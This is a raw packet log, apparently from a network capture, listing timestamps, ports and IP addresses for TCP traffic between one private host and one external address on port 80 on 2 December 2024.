Dec 2, 2024 11:20:53.165901899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165944099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165997982 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166011095 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166052103 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166099072 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166125059 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166271925 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166317940 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166340113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166404009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166451931 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166529894 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166575909 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166594028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166620016 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166642904 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166709900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166801929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.166834116 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166879892 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.166975021 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167035103 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167089939 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167169094 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167257071 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167258024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167325974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167336941 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167368889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167419910 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167548895 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167586088 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167594910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167638063 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167777061 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.167794943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.167840958 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168024063 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.168060064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168104887 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168299913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.168375969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168426037 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168489933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168550968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168595076 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168607950 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.168673038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.168765068 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.168813944 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168859005 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.168900967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169023991 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169054031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169101000 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169207096 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169260979 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169332027 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169404984 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169550896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169569969 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169598103 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169641018 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169727087 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169819117 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169859886 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.169872046 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169914961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.169974089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170047045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170064926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170094013 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170135975 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170181990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170249939 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170286894 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170325041 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170334101 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170535088 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170559883 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170631886 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170675993 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170701981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170820951 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170861006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.170866966 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.170988083 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171083927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171128988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171170950 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171236038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171297073 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171312094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171344995 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171380043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171509981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171545029 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171606064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171649933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171701908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171761990 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171823025 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.171845913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.171989918 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.172046900 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172091961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172136068 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172225952 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.172303915 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.172312975 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172359943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172508955 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.172578096 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172667027 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172755003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172799110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172837019 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.172841072 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.172962904 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173057079 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173068047 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173113108 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173156977 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173237085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173270941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173353910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173367977 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173401117 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173510075 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173563957 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173572063 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173629045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173834085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.173860073 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173907042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.173954010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174037933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174041986 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174083948 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174160004 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174211025 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174312115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174362898 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174406052 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174514055 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174525976 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174573898 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174618006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174683094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174803019 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174813032 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.174876928 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.174922943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175030947 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175030947 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175060987 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175107002 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175151110 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175278902 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175303936 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175303936 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175477982 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175478935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175618887 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175620079 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175751925 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175787926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.175884008 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.175919056 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.176033974 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.176037073 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.176215887 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.176254988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.176378965 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.176489115 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.176578045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.176920891 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177155972 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177189112 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.177285910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177319050 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.177423954 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177438021 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.177632093 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.177769899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177865028 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.177968979 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178010941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178033113 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178175926 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178241014 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178256035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178304911 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178333044 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178373098 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178414106 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178500891 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178549051 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178581953 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178646088 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178646088 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.178725004 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.178919077 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.179095030 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.179281950 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.179296017 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.179366112 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.179440975 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.179493904 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.179569006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.179614067 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.179666042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.179894924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.483489037 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.483575106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.483624935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.483668089 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.483746052 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.483815908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.483905077 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.483906031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.483973026 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484117031 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484146118 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484163046 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484194994 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484386921 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484420061 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484469891 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484612942 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484658003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.484700918 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484761000 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484863043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.484982014 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485115051 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485162973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485168934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.485207081 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485249996 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485322952 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.485424995 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.485431910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485507965 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485614061 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485634089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.485658884 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485702991 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485816002 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.485857964 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.485872984 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486087084 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486088037 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486160994 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486283064 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486299038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486344099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486372948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486494064 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486516953 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486702919 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.486761093 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486831903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.486942053 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487025976 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487327099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.487528086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.487529993 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487575054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.487731934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487731934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487812042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.487860918 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.487998009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.487998009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488024950 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488086939 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488131046 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488204002 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488276958 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488295078 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488360882 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488374949 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488519907 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488531113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488576889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488595963 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488662004 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488662004 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488761902 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488807917 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.488897085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.488897085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.489067078 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489113092 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489223003 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.489320040 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489326954 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.489557028 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489594936 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.489727020 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.489775896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489820957 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.489975929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490022898 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490070105 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490245104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490245104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490278006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490324974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490427017 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490468979 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490550041 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490746021 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.490760088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490878105 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.490912914 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491017103 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491089106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491099119 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491133928 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491277933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491359949 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491359949 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491388083 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491471052 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491622925 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491660118 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491835117 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491858959 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491883993 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.491995096 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.491997957 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492069960 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.492141962 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492183924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.492254972 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492290020 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.492496014 CET	49749	80	192.168.11.20	185.215.113.16
